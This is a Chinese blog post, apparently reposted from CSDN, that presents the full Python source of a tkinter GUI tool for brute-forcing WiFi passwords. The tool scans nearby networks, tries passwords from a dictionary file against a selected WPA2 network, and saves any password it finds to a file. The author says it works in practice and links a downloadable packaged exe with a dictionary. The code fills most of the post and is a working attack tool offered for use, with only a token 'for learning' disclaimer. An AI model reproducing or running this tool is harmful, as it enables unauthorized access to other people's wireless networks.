最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多说,上代码。
-
import pywifi
-
import csv,os
-
from pywifi
import const
-
import tkinter
as tk
-
from tkinter
import ttk
-
import time
-
import tkinter.filedialog
-
import tkinter.messagebox
-
-
-
def signall_level(signal):
-
"""
-
根据信号值判断信号强度等级,信号最强为4
-
0 rssi<=-100
-
1 (-100, -88]
-
2 (-88, -77]
-
3 (-66, -55]
-
4 rssi>=-55
-
:return:
-
"""
-
level =
0
-
signal = signal
-
if isinstance(signal, int):
-
if signal <
-100:
-
level =
0
-
elif signal >=
-100
and signal <
-88:
-
level =
1
-
elif signal >=
-88
and signal <
-77:
-
level =
2
-
elif signal >=
-77
and signal <
-55:
-
level =
3
-
else:
-
level =
4
-
return level
-
else:
-
return
"信号格式错误"
-
-
class WifiGetGui():
-
def __init__(self):
-
self.window=tk.Tk()
-
self.window.title(
"WIFI暴力破解")
-
self.window.geometry(
"1050x560")
-
self.log_text=
None
-
self.crack_button=
None
-
-
#定义wifi名称
-
self.wifi_value = tk.StringVar()
-
#定义字典的路径
-
self.secret_path=tk.StringVar()
-
-
#定义每次连接间隔时间
-
self.interval_time=tk.StringVar()
-
#破解后的密码
-
self.crack_pwd=tk.StringVar()
-
-
def set_window(self):
-
-
# #定义WIFI搜索栏的FRAME
-
-
search_frame=tk.LabelFrame(self.window,text=
"附近的WIFI",font=(
'Arial',
10))
-
search_frame.place(relx=
0.23,rely=
0.5,width=
450, height=
540,anchor=
"center")
-
# # search_frame.grid(column=0, row=0, padx=10, pady=0,columnspan=4)
-
# #定义wifi搜索按钮
-
button_search = tk.Button(search_frame, text=
"搜索附近WiFi", font=(
'Arial',
10),command=self.get_wifi)
-
button_search.place(relx=
0,rely=
0,width=
150,anchor=
"nw",bordermode=
'inside')
-
#
-
#
-
#
-
# #创建列表frame
-
wifi_list_frame = tk.LabelFrame(search_frame,text=
"WIFI列表",font=(
'Arial',
10),width=
446, height=
476)
-
wifi_list_frame.place(relx=
0,rely=
0.08,anchor=
"nw",bordermode=
'inside')
-
#
-
#
-
# #创建列表与滚动条
-
self.wifi_tree=ttk.Treeview(wifi_list_frame,show=
"headings",height=
20,columns=(
'num',
'name',
'bssid',
'signal'))
-
scoroll_bar = ttk.Scrollbar(wifi_list_frame, orient=
'vertical', command=self.wifi_tree.yview)
-
self.wifi_tree.configure(yscrollcommand=scoroll_bar.set)
-
# 表格的标题
-
self.wifi_tree.column(
"num", width=
50, anchor=
"center")
-
self.wifi_tree.column(
"name", width=
150, anchor=
"center")
-
self.wifi_tree.column(
"bssid", width=
150, anchor=
"center")
-
self.wifi_tree.column(
"signal", width=
100, anchor=
"center")
-
-
self.wifi_tree.heading(
"num", text=
"序号")
-
self.wifi_tree.heading(
"name", text=
"WIFI名称")
-
self.wifi_tree.heading(
"bssid", text=
"MAC地址")
-
self.wifi_tree.heading(
"signal", text=
"信号强度")
-
# self.wifi_tree.grid(row=4, column=0, sticky='NSEW')
-
self.wifi_tree.place(relx=
0,rely=
0,anchor=
"nw")
-
self.wifi_tree.bind(
"<Double-1>",self.scroll_event)
-
scoroll_bar.place(relx=
0.98,rely=
0.5,height=
386,anchor=
"center")
-
-
-
-
#定义搜索功能模块
-
crack_frame=tk.LabelFrame(self.window,text=
"WIFI破解",font=(
'Arial',
10))
-
crack_frame.place(relx=
0.72,rely=
0.5,width=
560, height=
540,anchor=
"center")
-
#
-
"""定义wifi标签和输入框
-
self.wifi_value.get()
-
"""
-
crack_wifiname_label=tk.Label(crack_frame, width=
12, text=
"WIFI名称:",font=(
'Arial',
10)).place(relx=
0, rely=
0,anchor=
'nw')
-
crack_wifiname_entry=tk.Entry(crack_frame, width=
15, textvariable=self.wifi_value,font=(
'Arial',
10)).place(relx=
0.18, rely=
0,anchor=
'nw')
-
-
"""定义字典标签和输入框"""
-
cata_dir_label=tk.Label(crack_frame, text=
"字典目录:",font=(
'Arial',
10)).place(relx=
0.016, rely=
0.06,anchor=
'nw')
-
entry_dir_entry=tk.Entry(crack_frame, width=
15, textvariable=self.secret_path,font=(
'Arial',
10)).place(relx=
0.18, rely=
0.06,anchor=
'nw')
-
-
"""定义添加字典文件按钮"""
-
add_dir_button= tk.Button(crack_frame,
-
text=
"添加字典文件",
-
font=(
'Arial',
10),
-
command=self.get_path).place(relx=
0.45, rely=
0.05,anchor=
'nw')
-
-
crack_interval_label=tk.Label(crack_frame, width=
12,text=
"破解间隔:",font=(
'Arial',
10)).place(relx=
0, rely=
0.12,anchor=
'nw')
-
self.crack_interval_entry=tk.Entry(crack_frame, textvariable=self.interval_time,width=
15,font=(
'Arial',
10)).place(relx=
0.18, rely=
0.12,anchor=
'nw')
-
-
"""定义破解后的密码展示框"""
-
crack_pwd_label=tk.Label(crack_frame, text=
"WIFI密码:",font=(
'Arial',
10)).place(relx=
0.016, rely=
0.28,anchor=
'nw')
-
crack_pwd_entry=tk.Entry(crack_frame, width=
15, textvariable=self.crack_pwd,font=(
'Arial',
10)).place(relx=
0.18, rely=
0.28,anchor=
'nw')
-
-
"""定义破解日志信息展示框"""
-
log_frame=tk.LabelFrame(crack_frame,text=
"破解详情",font=(
'Arial',
10),width=
550, height=
350)
-
log_frame.place(relx=
0, rely=
0.34,anchor=
'nw')
-
-
"""定义日志文本框"""
-
self.log_text=tk.Text(log_frame,width=
550,height=
300)
-
self.log_text.place(relx=
0, rely=
0,anchor=
'nw')
-
# """搜索按钮"""
-
self.crack_button=tk.Button(crack_frame,text=
"开始破解",state=
'active',font=(
'Arial',
10),command=self.get_pwd).place(relx=
0.5, rely=
0.22,width=
150,anchor=
'center')
-
self.window.mainloop()
-
def wifi_list_show(self,wifi_list):
-
for num,wifi_info
in enumerate(wifi_list):
-
self.wifi_tree.insert(
'',
'end',values=(num+
1,wifi_info[
0],wifi_info[
1],wifi_info[
2]))
-
def scroll_event(self,event):
-
-
self.item_info=event.widget.selection()
-
self.wifi_value.set(self.wifi_tree.item(self.item_info,
"values")[
1])
-
print(
"已设置wifi_value的值为:"+self.wifi_value.get())
-
self.wifi_tree.item(self.item_info,
"values")[
0]
-
def get_wifi(self):
-
"""
-
0 rssi<=-100
-
1 (-100, -88]
-
2 (-88, -77]
-
3 (-66, -55]
-
4 rssi>=-55
-
:return:
-
"""
-
wifi = pywifi.PyWiFi()
-
# ifaces=wifi.interfaces()
-
# print(ifaces)
-
iface = wifi.interfaces()[
0]
-
if iface:
-
print(iface)
-
try:
-
iface.scan()
-
time.sleep(
5)
-
result = iface.scan_results()
-
wifi_list = []
-
for w
in result:
-
wifi_list.append([w.ssid.encode(
'raw_unicode_escape').decode(
'utf-8'), w.bssid, signall_level(w.signal)])
-
print(
"排序前的列表%s:" % wifi_list)
-
for i
in range(len(wifi_list) -
1):
-
min_index = i
# 初始化每次循环的下表
-
for j
in range(i +
1, len(wifi_list)):
-
if wifi_list[min_index][
2] < wifi_list[j][
2]:
# 与当前下表之后的值进行对比
-
min_index = j
# 如果当前下表大于后面的某一个元素下标,则把下标赋值给最小下标
-
wifi_list[i], wifi_list[min_index] = wifi_list[min_index], wifi_list[i]
# 循环完成,把下标的i的值和循环找出的最小值进行替换
-
print(
"排序后的列表%s:" % wifi_list)
-
self.wifi_list_show(wifi_list)
-
return wifi_list
-
except Exception
as e:
-
msg =
"获取wifi信号异常"
-
return msg
-
else:
-
msg =
"获取网卡信息异常"
-
return msg
-
def get_path(self):
-
self.filepath=tk.filedialog.askopenfilename()
-
print(
"filepath:"+self.filepath)
-
self.secret_path.set(self.filepath)
-
print(
"已设置字典文件路径:"+self.secret_path.get())
-
def check_password(self,wifi_name,try_password):
-
get_interval=self.interval_time.get()
-
wifi=pywifi.PyWiFi()
-
iface=wifi.interfaces()[
0]
-
iface.disconnect()
-
profile = pywifi.Profile()
-
profile.ssid = wifi_name
-
profile.auth = const.AUTH_ALG_OPEN
-
profile.akm.append(const.AKM_TYPE_WPA2PSK)
-
profile.cipher = const.CIPHER_TYPE_CCMP
-
profile.key=try_password
-
iface.remove_all_network_profiles()
-
tmp_profile = iface.add_network_profile(profile)
-
print(
"密码%s开始调用!"%try_password)
-
iface.connect(tmp_profile)
# 连接
-
print(
"间隔时间是%s"%get_interval)
-
time.sleep(int(get_interval))
# 尝试10秒能否成功连接
-
print(
"密码%s调用结束"%try_password)
-
if iface.status() == const.IFACE_CONNECTED:
-
# # content={"wifi_name":wifi_name,"password":try_password}
-
# filename=wifi_name+".txt"
-
# write_file(filename,str(content))
-
# # return content
-
return
True
-
iface.disconnect()
-
else:
-
return
False
-
def send_log(self):
-
"""更新TEXT页面文本"""
-
self.log_text.insert(
1.0, self.msg)
-
self.log_text.update()
-
def get_pwd(self):
-
"""遍历字典,验证密码"""
-
wifi_name=self.wifi_value.get()
-
print(
"get_pwd.wifi_name:"+wifi_name)
-
dic_path=self.secret_path.get()
-
print(
"get_pwd.dic_path:"+dic_path)
-
with open(dic_path,
'r')
as f:
-
reader = csv.reader(f)
-
try:
-
for rows
in enumerate(reader):
-
# row = rows
-
pwd=rows[
1][
0]
-
print(pwd)
-
# print(pwd)
-
bool_check=self.check_password(wifi_name,pwd)
-
print(bool_check)
-
if bool_check==
True:
-
self.msg=
'sucess,wifi== %s 破译成功,密码为%s'%(wifi_name,pwd)+
"\n"
-
print(self.msg)
-
self.crack_pwd.set(pwd)
-
pwd_path= os.path.join(os.path.dirname(dic_path),wifi_name+
'.txt')
-
self.write_file(pwd_path,self.msg)
-
self.send_log()
-
tk.messagebox.showinfo(title=
"破译成功",message=
"密码为%s"%pwd)
-
break
-
else:
-
self.msg=
"failed,wifi== %s 匹配密码%s,破译失败"%(wifi_name,pwd)+
"\n"
-
self.send_log()
-
print(self.msg)
-
continue
-
-
except Exception
as e:
-
self.msg=
"数据字典读取异常"
-
def write_file(self,path, content):
-
if content:
-
with open(path, mode=
"a+", encoding=
"utf-8")
as f:
-
if type(content) != str:
-
content = content.decode(
"utf-8")
-
f.write(content)
-
f.flush()
-
f.close()
-
print(
"list信息已保存到" + path)
-
-
if __name__==
"__main__":
-
wif=WifiGetGui()
-
wif.set_window()
以上为全部的代码,下载后安装对应的依赖库就可以执行了,效果如下
1、点击搜索,可以看到最近的wifi
3、双击wifi名称,可以自动填充到wifi名称里面,点击"添加字典"按钮,可以添加字典文件,破解间隔需输入每次连接的等待时间,实测需要大于2s会比较可靠,点击"开始破解"按钮会开始进行破解,破解完成后密码会填充到密码框里面,同时在字典目录生成一个txt文件存储破译的wifi名称与密码。
放置了一个打包 的exe文件和字典放在百度云盘的,有兴趣的可以下载来玩玩!
链接:https://pan.baidu.com/s/1WFShj0ytaiMk1o_RMduDYA
转载:https://blog.csdn.net/zw2914863/article/details/106801288
查看评论